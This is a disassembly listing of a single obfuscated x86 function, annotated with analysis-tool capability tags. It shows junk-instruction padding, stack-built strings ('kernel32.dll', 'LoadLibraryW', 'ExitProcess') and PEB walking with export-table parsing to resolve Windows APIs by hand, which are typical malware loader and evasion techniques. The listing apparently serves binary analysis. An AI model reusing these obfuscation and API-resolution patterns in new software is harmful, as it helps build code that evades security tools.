Function at 0x50d34d
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov eax, 0x13379797
pop eax
mov dword [ebp - 0x3c0], eax
push edx
and edx, 0x17482
pop edx
push ecx
push eax
add esp, 4
add ecx, 0xfe4a
pop ecx
push edx
push eax
add esp, 4
call 0x50c454
add byte [eax + edi + 0x39], al
xor dh, byte [edi]
cmp byte [ebx + 0x4b], cl
dec esi
add esp, 4
and edx, 0xd7d7
pop edx
mov ecx, dword [ebp - 0x1fa0]
mov dword [ebp - 0x14b8], ecx
push edx
push esi
add esp, 4
jmp 0x50c478
pop edx
push eax
push ebx
add esp, 4
or eax, 0x1767b
or eax, 0x12bc
pop eax
push edx
call 0x50c498
add byte [ebx], dh
xor al, 0x3e
inc ebp
xor al, byte [ecx - 0x7d]
les eax, [edx + ebx*2]
mov edx, dword [ebp - 0x14]
add edx, 0x138
imul eax, dword [ebp - 0x10], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x10], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x14b8], edx
mov edx, dword [ebp - 0x3c0]
mov dword [ebp - 0x1ef8], edx
mov eax, dword [ebp - 0x1ef8]
add eax, dword [ebp - 0x14b8]
mov dword [ebp - 0x3c0], eax
push edi
or edi, 0x2fb0
call 0x50c4f8
add byte [esi + 0x43], cl
aaa
push eax
dec ebp
dec edx
add esp, 4
pop edi
push ecx
push ecx
add esp, 4
or ecx, 0x15f75
jmp 0x50c50d
pop ecx
push ecx
and ecx, 0x85c1
pop ecx
mov byte [ebp - 0xb78], 0x52
mov byte [ebp - 0xb77], 0xb9
mov byte [ebp - 0xb76], 0x10
mov byte [ebp - 0xb75], 0x10
mov byte [ebp - 0xb74], 0x10
mov byte [ebp - 0xb73], 0x10
mov byte [ebp - 0xb72], 0x5a
push ebx
push eax
add esp, 4
add ebx, 0xe5d5
jmp 0x50c55b
sub ebx, 0x57a9
pop ebx
push edx
jmp 0x50c56c
add edx, 0x9423
sub edx, 0xa4c4
pop edx
mov byte [ebp - 0xb80], 0x52
mov byte [ebp - 0xb7f], 0xb9
mov byte [ebp - 0xb7e], 0x20
mov byte [ebp - 0xb7d], 0x20
mov byte [ebp - 0xb7c], 0x20
mov byte [ebp - 0xb7b], 0x20
mov byte [ebp - 0xb7a], 0x5a
push esi
and esi, 0x6945
sub esi, 0x2c32
add esi, 0xa10b
pop esi
push ecx
call 0x50c5cc
add byte [ecx], bh
dec esp
cmp al, 0x4b
inc eax
inc esp
inc edx
add esp, 4
pop ecx
push esi
push edx
add esp, 4
xor esi, 0xb8e9
pop esi
mov dword [ebp - 0x1fa4], 0xe
push ebx
and ebx, 0x18470
pop ebx
push edx
push eax
add esp, 4
sub edx, 0x14e02
jmp 0x50c5fe
call 0x50c60e
add byte [edx + 0x4d], al
inc esp
cmp cl, byte [esi + 0x34]
xor al, 0x4b
inc edx
dec esi
add esp, 4
or edx, 0xb8d2
pop edx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb78]
mov dword [ebp - 0x14bc], eax
push ecx
jmp 0x50c637
and ecx, 0x10e81
pop ecx
push esi
push ecx
add esp, 4
and esi, 0x172c7
sub esi, 0x7529
pop esi
push ebx
push esi
add esp, 4
jmp 0x50c65e
pop ebx
mov dword [ebp - 0x1fa8], 0xffffffff
push edi
push ebx
add esp, 4
and edi, 0x109d9
xor edi, 0x1490e
call 0x50c689
add byte [ebx], dh
xor bh, byte [ecx]
dec edi
aas
inc ebx
dec esi
cmp dword [esi - 0x7d], eax
les eax, [ecx + eax*4]
out 0xd3, eax
scasd eax, dword es:[edi]
add byte [eax], al
pop edi
push edi
add edi, 0x181fd
pop edi
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4cc], ecx
jmp 0x50c6b8
mov edx, dword [ebp - 0x4cc]
add edx, 1
mov dword [ebp - 0x4cc], edx
push edx
and edx, 0x5494
or edx, 0xc5e6
add edx, 0xdeff
pop edx
push edx
push edi
add esp, 4
xor edx, 0xcdc2
add edx, 0xf8c8
and edx, 0x16e93
add edx, 0x109d2
pop edx
mov eax, dword [ebp - 0x4cc]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x50c732
push edi
call 0x50c70a
add byte [ebx + 0x3a], al
dec eax
inc ebx
dec esp
dec esp
dec edx
dec ebp
add esp, 4
call 0x50c71d
add byte [ebx + edi + 0x4b], cl
xor dh, byte [ebx]
xor edi, dword [esi]
inc ebp
dec esp
cmp eax, 0x8104c483
out dx, eax
mov eax, 0xeb000135
add al, 0x3c
inc edx
inc esp
dec ecx
pop edi
jmp 0x50c960
mov dword [ebp - 0xc08], 7
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp - 0xa68], ecx
push eax
push edx
add esp, 4
and eax, 0x162d9
jmp 0x50c759
pop eax
push edx
push ecx
add esp, 4
or edx, 0x5a17
xor edx, 0xc38e
or edx, 0x2f51
jmp 0x50c779
pop edx
mov edx, dword [ebp - 0x14bc]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0x14bc]
jne 0x50c7e1
push edi
push ebx
add esp, 4
add edi, 0x4ea4
jmp 0x50c7b0
sub edi, 0xf2fc
jmp 0x50c7bd
pop edi
push edi
push ebx
add esp, 4
xor edi, 0xa9e7
add edi, 0x36f7
pop edi
mov ecx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], ecx
jmp 0x50c912
cmp dword [ebp - 0xc08], 0
jle 0x50c906
push ecx
push esi
add esp, 4
jmp 0x50c7fc
or ecx, 0xe495
sub ecx, 0x16e13
call 0x50c814
add byte [esi], bh
xor eax, 0x83504c36
les eax, [ecx + ebx*2]
push edi
sub edi, 0x11b09
pop edi
mov edx, dword [ebp - 0xa68]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x50c8a2
push ebx
push edx
add esp, 4
or ebx, 0xc703
xor ebx, 0xb615
or ebx, 0x11d57
xor ebx, 0x1290a
pop ebx
push esi
add esi, 0x11aa
add esi, 0xda68
or esi, 0x17e09
pop esi
mov eax, dword [ebp - 0xa68]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x50c88a
mov dword [ebp - 0x14c0], 1
jmp 0x50c894
mov dword [ebp - 0x14c0], 0xffffffff
mov ecx, dword [ebp - 0x14c0]
mov dword [ebp - 0xc0c], ecx
jmp 0x50c906
push edi
add edi, 0x4ab0
sub edi, 0x17c71
or edi, 0x7066
or edi, 0x135fd
pop edi
push edx
push ecx
add esp, 4
sub edx, 0x8ab6
and edx, 0xed91
sub edx, 0x338b
pop edx
mov edx, dword [ebp - 0xc08]
sub edx, 1
mov dword [ebp - 0xc08], edx
mov eax, dword [ebp - 0xa68]
add eax, 1
mov dword [ebp - 0xa68], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
jmp 0x50c7e1
mov edx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], edx
cmp dword [ebp - 0x14c4], 0
jne 0x50c95b
push ebx
push edx
add esp, 4
sub ebx, 0x1e98
and ebx, 0xed9c
call 0x50c93b
add byte [esi], bh
inc ecx
dec ebp
xor al, 0x3f
push eax
dec eax
add esp, 4
pop ebx
push esi
sub esi, 0x150aa
add esi, 0x2145
pop esi
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0x3cc], eax
jmp 0x50c99c
jmp 0x50c6a9
push eax
jmp 0x50c96a
add eax, 0x99e7
and eax, 0x5cd7
jmp 0x50c97d
pop eax
push ecx
push ebx
add esp, 4
or ecx, 0x60dd
pop ecx
push esi
add esi, 0x6848
pop esi
mov dword [ebp - 0x3cc], 0
push ecx
push edi
add esp, 4
add ecx, 0x1664e
pop ecx
push edi
call 0x50c9b8
add byte [edx], dh
inc edi
cmp cl, byte [ebp + 0x37]
inc esp
inc ebx
dec edx
xor eax, dword [ebx - 0x107efb3c]
push es
pop ds
add dword [eax], eax
add edi, 0xa2d9
sub edi, 0x16a8f
pop edi
push esi
xor esi, 0x17675
add esi, 0x171a8
call 0x50c9eb
add byte [0x35424e42], bh
cmp eax, dword [edx + ecx*2 + 0x45]
dec edi
add esp, 4
pop esi
push ecx
call 0x50c9fc
add byte [ecx + eax*2], bh
dec eax
xor al, 0x44
inc ebx
add esp, 4
pop ecx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
mov dword [ebp - 0x14c8], eax
push esi
push esi
add esp, 4
add esi, 0x12abe
xor esi, 0xe50d
pop esi
push edx
push ebx
add esp, 4
add edx, 0x5e34
pop edx
push edx
or edx, 0x10c57
add edx, 0x153aa
or edx, 0x978b
pop edx
mov dword [ebp - 0x1fac], 0xffffffff
push esi
push eax
add esp, 4
or esi, 0xdb93
pop esi
push esi
add esi, 0x24a1
add esi, 0x3e92
pop esi
push ecx
push ecx
add esp, 4
add ecx, 0x3056
add ecx, 0x512f
or ecx, 0x1187d
pop ecx
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x50caa0
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push ebx
push ebx
add esp, 4
or ebx, 0x33e
call 0x50cab9
add byte [eax + 0x3b], al
inc ebx
dec esi
xor al, byte [ecx + 0x46]
xor al, byte [ebx + 0x7e804c4]
add byte [eax], al
add byte [eax], al
dec edx
inc ecx
dec eax
xor eax, 0x4c48341
sub ebx, 0x2eda
pop ebx
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x50cb1a
push ebx
or ebx, 0x891e
xor ebx, 0xe6b9
and ebx, 0x12ac0
add ebx, 0x60d5
pop ebx
push edi
push edx
add esp, 4
add edi, 0x12317
and edi, 0x131
xor edi, 0x7cef
pop edi
jmp 0x50cd48
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push edx
or edx, 0x8a0f
and edx, 0x10f93
xor edx, 0x1203a
pop edx
push ebx
jmp 0x50cb4c
xor ebx, 0x1611d
sub ebx, 0x9862
jmp 0x50cb61
pop ebx
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x50cbc9
push ebx
sub ebx, 0x3611
pop ebx
push esi
call 0x50cb9d
add byte [ebx + edi], bh
cmp dword [esi], esi
dec edx
inc esi
dec edi
inc ecx
add esp, 4
pop esi
push esi
add esi, 0x1086b
sub esi, 0x551a
jmp 0x50cbb7
pop esi
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x50ccfa
cmp dword [ebp - 0xc10], 0
jle 0x50ccee
push ebx
call 0x50cbe6
add byte [ebx], dh
dec esi
inc edi
cmp byte [0x8333403e], bh
les eax, [ebx + ebx*2]
push ebx
push ecx
add esp, 4
add ebx, 0x10398
call 0x50cc04
add byte [ebx + 0x38], cl
cmp dword [eax + 0x43], edx
xor eax, 0x83463736
les eax, [ebx + ebx*2]
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x50cc8a
push edi
push ecx
add esp, 4
and edi, 0x5ccd
add edi, 0xa825
and edi, 0x3162
pop edi
push ecx
sub ecx, 0x816f
sub ecx, 0x1271b
sub ecx, 0xaa4e
sub ecx, 0x850a
pop ecx
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x50cc72
mov dword [ebp - 0x14cc], 1
jmp 0x50cc7c
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x50ccee
push ebx
push ebx
add esp, 4
sub ebx, 0x91eb
call 0x50cca3
add byte [edx + eax*2 + 0x47], cl
dec ebx
aaa
inc ebp
cmp dword [ebx], edi
add esp, 4
and ebx, 0x9999
call 0x50ccb8
add byte [edi + 0x3c], cl
dec esp
xor al, 0x3f
dec edi
add esp, 4
pop ebx
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x50cbc9
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x50cd43
push esi
push eax
add esp, 4
or esi, 0x1070f
jmp 0x50cd16
pop esi
push ecx
push esi
add esp, 4
and ecx, 0xe0e2
or ecx, 0xa6c4
sub ecx, 0x11faf
add ecx, 0x721e
pop ecx
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x50cd84
jmp 0x50ca91
push ebx
push esi
add esp, 4
jmp 0x50cd53
jmp 0x50cd59
pop ebx
push esi
push ebx
add esp, 4
sub esi, 0x15651
and esi, 0xa680
and esi, 0x18135
pop esi
push edx
add edx, 0xf30a
pop edx
mov dword [ebp - 0xa5c], 0
push esi
push esi
add esp, 4
add esi, 0x171ac
add esi, 0x6344
or esi, 0x67f
pop esi
push eax
sub eax, 0x13dcb
xor eax, 0xe5f4
pop eax
push edx
push eax
add esp, 4
xor edx, 0x125f6
pop edx
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push ebx
add ebx, 0x15a8c
add ebx, 0x44a5
or ebx, 0x916a
sub ebx, 0x87b
pop ebx
push edx
push edx
add esp, 4
add edx, 0x152db
sub edx, 0x13c7d
xor edx, 0x10dbd
pop edx
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push edx
push edi
add esp, 4
jmp 0x50cee3
sub edx, 0x5acd
pop edx
push ecx
or ecx, 0x16f35
xor ecx, 0x495a
jmp 0x50cf00
sub ecx, 0x9902
pop ecx
push edx
push edi
add esp, 4
and edx, 0xd179
call 0x50cf21
add byte [ecx + 0x3b], al
xor eax, dword [ebx + 0x41]
dec esp
cmp byte [edx + 0x36], cl
add esp, 4
sub edx, 0xddf5
and edx, 0x162e8
pop edx
push ebx
or ebx, 0x1054c
pop ebx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push ecx
call 0x50cf71
add byte [esi], bh
inc edx
inc ecx
aas
inc ecx
cmp al, 0x49
inc esi
cmp byte [ebx - 0x167efb3c], al
fadd st(5), st(0)
add byte [eax], al
pop ecx
push esi
call 0x50cf89
add byte [edx], dh
dec esi
xor cl, byte [edi + 0x39]
dec ebx
add esp, 4
add esi, 0x13ab
pop esi
cmp dword [ebp - 0x14d4], 0
jne 0x50cfab
mov dword [ebp - 0x2e0], 0
jmp 0x50d267
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push eax
or eax, 0x179f9
xor eax, 0x8814
add eax, 0x9978
jmp 0x50cfd6
pop eax
push eax
push ebx
add esp, 4
or eax, 0x170e
or eax, 0x84c6
add eax, 0xe77
pop eax
cmp dword [ebp - 0xc20], 0
jne 0x50d007
mov dword [ebp - 0x2e0], 0
jmp 0x50d267
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push edx
call 0x50d024
add byte [ebp + ecx*2 + 0x46], al
cmp ecx, dword [edx + 0x3b]
cmp byte ds:[edx + 0x39], al
add esp, 4
or edx, 0x16ebe
call 0x50d03b
add al, ch
or dword [eax], eax
add byte [eax], al
add byte [eax + edi + 0x3f], cl
dec edx
inc ecx
xor eax, 0xc4833e32
add al, 0x81
loop 0x50d02c
jg 0x50d043
add byte [edx - 0x73], bl
invalid
push ebx
add ebx, 0x98a0
xor ebx, 0x10118
or ebx, 0x63df
pop ebx
push ebx
push edx
add esp, 4
add ebx, 0x11e91
or ebx, 0x7135
xor ebx, 0x1653f
sub ebx, 0x13509
pop ebx
cmp dword [ebp - 0x2e0], 0
jne 0x50dbb2
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push edi
call 0x50d34d
add byte [edx + edi], bh
dec ebx
inc esp
inc esi
dec eax
inc ebx
add esp, 4
xor edi, 0x3ca5
or edi, 0xcf40
jmp 0x50d364
pop edi
push ecx
push ebx
add esp, 4
or ecx, 0x6682
pop ecx
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push edx
and edx, 0x569c
and edx, 0x14275
sub edx, 0xa7f7
pop edx
push ebx
push ebx
add esp, 4
and ebx, 0x4508
pop ebx
push edi
push edx
add esp, 4
jmp 0x50d41e
or edi, 0x10d18
pop edi
cmp dword [ebp - 0x14dc], 0
jne 0x50d43d
mov dword [ebp - 0x6ec], 0
jmp 0x50d6f9
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push esi
push edx
add esp, 4
jmp 0x50d459
or esi, 0xbff5
add esi, 0xd552
pop esi
push ebx
push esi
add esp, 4
jmp 0x50d474
add ebx, 0x11fe6
add ebx, 0x14854
pop ebx
cmp dword [ebp - 0xc2c], 0
jne 0x50d499
mov dword [ebp - 0x6ec], 0
jmp 0x50d6f9
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push eax
push eax
add esp, 4
or eax, 0xd933
pop eax
push esi
sub esi, 0xad8f
or esi, 0x10f53
call 0x50d4cd
add byte [edi + 0x37], al
cmp al, 0x34
dec ecx
cmp byte [eax + 0x3e], dl
inc edi
add esp, 4
xor esi, 0xbd56
pop esi
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push ebx
jmp 0x50d50b
add ebx, 0x6d7a
jmp 0x50d519
pop ebx
push edx
and edx, 0x195c
xor edx, 0x111b9
or edx, 0x6c38
pop edx
push ebx
sub ebx, 0xd43e
pop ebx
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push edx
push ecx
add esp, 4
sub edx, 0x152e0
add edx, 0xefe8
xor edx, 0x13ea5
pop edx
push eax
add eax, 0x5629
pop eax
push edi
push edi
add esp, 4
and edi, 0x10544
add edi, 0x10182
pop edi
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x50d5e5
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x50d648
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x50d504
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x50d504
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x50d632
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x50d63c
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x50d691
push edx
jmp 0x50d658
jmp 0x50d65d
jmp 0x50d662
pop edx
push edx
sub edx, 0x1827d
sub edx, 0x125ac
pop edx
push eax
push esi
add esp, 4
xor eax, 0x9e90
add eax, 0x1810d
pop eax
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x50d6f9
push esi
push eax
add esp, 4
and esi, 0x108ef
sub esi, 0xdf81
pop esi
push ebx
xor ebx, 0x16498
pop ebx
push ebx
push edi
add esp, 4
sub ebx, 0x166ad
or ebx, 0x15e60
xor ebx, 0x17eb0
pop ebx
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x50d6ef
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x50d4a5
mov dword [ebp - 0x6ec], 0
push eax
call 0x50d70a
add byte [edi + 0x47], cl
inc ebx
aaa
dec edx
dec ebx
cmp dword [ebp + 0x45], eax
inc ecx
add esp, 4
or eax, 0x17b52
pop eax
push eax
and eax, 0x8edb
jmp 0x50d724
add eax, 0x2b8
pop eax
cmp dword [ebp - 0x6ec], 0
jne 0x50d775
push ecx
push ebx
add esp, 4
and ecx, 0x13c3a
and ecx, 0x465f
and ecx, 0x7277
add ecx, 0x13354
pop ecx
push esi
or esi, 0x3e79
xor esi, 0xdcaf
add esi, 0x9322
pop esi
mov dword [ebp - 0x738], 0
jmp 0x50e29c
push esi
push esi
add esp, 4
or esi, 0x17c60
add esi, 0x118a8
add esi, 0xbdd6
sub esi, 0x10464
pop esi
push ebx
or ebx, 0x4676
add ebx, 0xae41
add ebx, 0x1b23
pop ebx
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x50d7e6
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x50dad7
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x50d80e
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x50dad7
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x50d840
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x50dad7
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x50d865
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x50dad7
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x50d8bf
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x50dacb
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x50d92f
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x50d9e1
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x50d9e1
push esi
call 0x50d96d
add byte [esi + 0x4f], al
cmp eax, 0x38394c4b
inc ebx
inc eax
dec eax
add esp, 4
sub esi, 0xbe8d
pop esi
push edi
push esi
add esp, 4
xor edi, 0x42b6
jmp 0x50d988
jmp 0x50d98d
pop edi
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x50d9d3
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x50d9da
jmp 0x50d920
jmp 0x50d9e1
push eax
push eax
add esp, 4
add eax, 0x15d07
and eax, 0x1842c
call 0x50da01
add byte [eax + 0x3e], al
dec ebx
inc eax
aaa
xor eax, 0x833a4b47
les eax, [ecx + eax*4]
enter 0x222b, 1
add byte [eax + 0x51], bl
add ecx, 0x153c1
pop ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x50da40
mov dword [ebp - 0xc30], 0
jmp 0x50daaf
push edi
push esi
add esp, 4
add edi, 0xa083
or edi, 0x2fc
add edi, 0x198d
or edi, 0x70a2
pop edi
push edi
xor edi, 0xe0a2
and edi, 0x11e25
or edi, 0xc97e
pop edi
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x50daa5
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x50daaf
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x50dac6
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x50dad7
jmp 0x50d8b0
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x50dbb2
push ecx
or ecx, 0x14a73
jmp 0x50daf4
and ecx, 0xd818
pop ecx
push edx
push ebx
add esp, 4
xor edx, 0x18575
call 0x50db12
add byte [ebx + 0x47], al
